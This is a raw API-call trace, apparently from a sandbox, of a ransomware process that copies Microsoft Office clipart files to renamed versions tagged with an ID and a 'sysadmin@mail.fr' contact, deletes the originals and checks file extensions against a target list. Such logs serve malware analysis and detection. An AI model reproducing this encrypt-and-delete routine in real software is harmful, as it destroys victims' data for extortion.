	[0056.785] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.785] SetEndOfFile (hFile=0x39c) returned 1
	[0056.793] CloseHandle (hObject=0x39c) returned 1
	[0056.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0056.793] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf")) returned 1
	[0056.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0056.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0056.794] lstrlenW (lpString=".doc") returned 4
	[0056.794] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0056.794] lstrlenW (lpString=".docx") returned 5
	[0056.794] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0056.794] lstrlenW (lpString=".pdf") returned 4
	[0056.794] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0056.794] lstrlenW (lpString=".xls") returned 4
	[0056.794] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0056.794] lstrlenW (lpString=".xlsx") returned 5
	[0056.794] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0056.794] lstrlenW (lpString=".ppt") returned 4
	[0056.794] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0056.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0056.794] lstrlenW (lpString=".zip") returned 4
	[0056.794] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0056.794] lstrlenW (lpString=".rar") returned 4
	[0056.794] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0056.794] lstrlenW (lpString=".bz2") returned 4
	[0056.794] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0056.794] lstrlenW (lpString=".7z") returned 3
	[0056.794] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0056.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0056.794] lstrlenW (lpString=".dbf") returned 4
	[0056.794] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0056.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0056.794] lstrlenW (lpString=".1cd") returned 4
	[0056.794] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0056.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0056.794] lstrlenW (lpString=".jpg") returned 4
	[0056.794] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0056.795] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.795] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0056.795] GetLastError () returned 0x0
	[0056.795] ReadFile (in: hFile=0x39c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x1f26, lpOverlapped=0x0) returned 1
	[0056.838] WriteFile (in: hFile=0x390, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1f30, lpOverlapped=0x0) returned 1
	[0056.839] ReadFile (in: hFile=0x39c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.839] WriteFile (in: hFile=0x390, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0056.839] SetEndOfFile (hFile=0x390) returned 1
	[0056.839] CloseHandle (hObject=0x390) returned 1
	[0056.840] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.840] SetEndOfFile (hFile=0x39c) returned 1
	[0056.840] CloseHandle (hObject=0x39c) returned 1
	[0056.841] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0056.841] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf")) returned 1
	[0056.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0056.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0056.845] lstrlenW (lpString=".doc") returned 4
	[0056.845] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0056.845] lstrlenW (lpString=".docx") returned 5
	[0056.845] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0056.845] lstrlenW (lpString=".pdf") returned 4
	[0056.845] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0056.845] lstrlenW (lpString=".xls") returned 4
	[0056.845] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0056.845] lstrlenW (lpString=".xlsx") returned 5
	[0056.845] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0056.845] lstrlenW (lpString=".ppt") returned 4
	[0056.845] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0056.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0056.845] lstrlenW (lpString=".zip") returned 4
	[0056.846] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0056.846] lstrlenW (lpString=".rar") returned 4
	[0056.846] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0056.846] lstrlenW (lpString=".bz2") returned 4
	[0056.846] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0056.846] lstrlenW (lpString=".7z") returned 3
	[0056.846] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0056.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0056.846] lstrlenW (lpString=".dbf") returned 4
	[0056.846] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0056.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0056.846] lstrlenW (lpString=".1cd") returned 4
	[0056.846] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0056.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0056.846] lstrlenW (lpString=".jpg") returned 4
	[0056.846] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0056.850] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.851] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0056.860] GetLastError () returned 0x0
	[0056.860] ReadFile (in: hFile=0x39c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x31f4, lpOverlapped=0x0) returned 1
	[0056.887] WriteFile (in: hFile=0x2f0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x3200, lpOverlapped=0x0) returned 1
	[0056.888] ReadFile (in: hFile=0x39c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.888] WriteFile (in: hFile=0x2f0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0056.888] SetEndOfFile (hFile=0x2f0) returned 1
	[0056.888] CloseHandle (hObject=0x2f0) returned 1
	[0056.889] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.889] SetEndOfFile (hFile=0x39c) returned 1
	[0056.890] CloseHandle (hObject=0x39c) returned 1
	[0056.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0056.890] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf")) returned 1
	[0056.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0056.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0056.891] lstrlenW (lpString=".doc") returned 4
	[0056.891] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0056.891] lstrlenW (lpString=".docx") returned 5
	[0056.891] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0056.891] lstrlenW (lpString=".pdf") returned 4
	[0056.891] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0056.891] lstrlenW (lpString=".xls") returned 4
	[0056.891] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0056.891] lstrlenW (lpString=".xlsx") returned 5
	[0056.891] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0056.891] lstrlenW (lpString=".ppt") returned 4
	[0056.891] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0056.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0056.891] lstrlenW (lpString=".zip") returned 4
	[0056.891] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0056.891] lstrlenW (lpString=".rar") returned 4
	[0056.891] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0056.891] lstrlenW (lpString=".bz2") returned 4
	[0056.891] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0056.891] lstrlenW (lpString=".7z") returned 3
	[0056.891] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0056.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0056.891] lstrlenW (lpString=".dbf") returned 4
	[0056.891] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0056.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0056.891] lstrlenW (lpString=".1cd") returned 4
	[0056.891] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0056.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0056.891] lstrlenW (lpString=".jpg") returned 4
	[0056.891] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0056.892] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.892] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0056.892] GetLastError () returned 0x0
	[0056.892] ReadFile (in: hFile=0x39c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x9b8, lpOverlapped=0x0) returned 1
	[0056.917] WriteFile (in: hFile=0x2f0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x9c0, lpOverlapped=0x0) returned 1
	[0056.918] ReadFile (in: hFile=0x39c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.918] WriteFile (in: hFile=0x2f0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0056.918] SetEndOfFile (hFile=0x2f0) returned 1
	[0056.918] CloseHandle (hObject=0x2f0) returned 1
	[0056.918] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.919] SetEndOfFile (hFile=0x39c) returned 1
	[0056.919] CloseHandle (hObject=0x39c) returned 1
	[0056.920] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0056.920] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf")) returned 1
	[0056.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0056.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0056.921] lstrlenW (lpString=".doc") returned 4
	[0056.921] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0056.921] lstrlenW (lpString=".docx") returned 5
	[0056.921] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0056.922] lstrlenW (lpString=".pdf") returned 4
	[0056.922] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0056.922] lstrlenW (lpString=".xls") returned 4
	[0056.922] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0056.922] lstrlenW (lpString=".xlsx") returned 5
	[0056.922] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0056.922] lstrlenW (lpString=".ppt") returned 4
	[0056.922] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0056.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0056.922] lstrlenW (lpString=".zip") returned 4
	[0056.922] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0056.922] lstrlenW (lpString=".rar") returned 4
	[0056.922] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0056.922] lstrlenW (lpString=".bz2") returned 4
	[0056.922] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0056.922] lstrlenW (lpString=".7z") returned 3
	[0056.922] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0056.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0056.922] lstrlenW (lpString=".dbf") returned 4
	[0056.922] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0056.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0056.922] lstrlenW (lpString=".1cd") returned 4
	[0056.922] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0056.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0056.922] lstrlenW (lpString=".jpg") returned 4
	[0056.922] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0056.925] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.925] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0056.926] GetLastError () returned 0x0
	[0056.926] ReadFile (in: hFile=0x2f0, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0xaac, lpOverlapped=0x0) returned 1
	[0056.937] WriteFile (in: hFile=0x2e4, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xab0, lpOverlapped=0x0) returned 1
	[0056.938] ReadFile (in: hFile=0x2f0, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.938] WriteFile (in: hFile=0x2e4, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0056.938] SetEndOfFile (hFile=0x2e4) returned 1
	[0056.938] CloseHandle (hObject=0x2e4) returned 1
	[0056.939] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.939] SetEndOfFile (hFile=0x2f0) returned 1
	[0056.939] CloseHandle (hObject=0x2f0) returned 1
	[0056.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0056.940] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf")) returned 1
	[0056.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0056.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0056.942] lstrlenW (lpString=".doc") returned 4
	[0056.942] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0056.942] lstrlenW (lpString=".docx") returned 5
	[0056.942] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0056.942] lstrlenW (lpString=".pdf") returned 4
	[0056.942] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0056.942] lstrlenW (lpString=".xls") returned 4
	[0056.942] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0056.942] lstrlenW (lpString=".xlsx") returned 5
	[0056.942] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0056.942] lstrlenW (lpString=".ppt") returned 4
	[0056.942] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0056.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0056.942] lstrlenW (lpString=".zip") returned 4
	[0056.942] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0056.942] lstrlenW (lpString=".rar") returned 4
	[0056.942] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0056.942] lstrlenW (lpString=".bz2") returned 4
	[0056.942] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0056.942] lstrlenW (lpString=".7z") returned 3
	[0056.942] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0056.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0056.943] lstrlenW (lpString=".dbf") returned 4
	[0056.943] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0056.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0056.943] lstrlenW (lpString=".1cd") returned 4
	[0056.943] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0056.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0056.943] lstrlenW (lpString=".jpg") returned 4
	[0056.943] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0056.946] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.946] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0056.948] GetLastError () returned 0x0
	[0056.948] ReadFile (in: hFile=0x390, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x3a94, lpOverlapped=0x0) returned 1
	[0056.953] WriteFile (in: hFile=0x350, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x3aa0, lpOverlapped=0x0) returned 1
	[0056.954] ReadFile (in: hFile=0x390, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.954] WriteFile (in: hFile=0x350, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0056.954] SetEndOfFile (hFile=0x350) returned 1
	[0056.954] CloseHandle (hObject=0x350) returned 1
	[0056.955] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.955] SetEndOfFile (hFile=0x390) returned 1
	[0056.956] CloseHandle (hObject=0x390) returned 1
	[0056.956] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0056.956] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf")) returned 1
	[0056.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0056.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0056.957] lstrlenW (lpString=".doc") returned 4
	[0056.957] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0056.957] lstrlenW (lpString=".docx") returned 5
	[0056.957] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0056.957] lstrlenW (lpString=".pdf") returned 4
	[0056.957] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0056.957] lstrlenW (lpString=".xls") returned 4
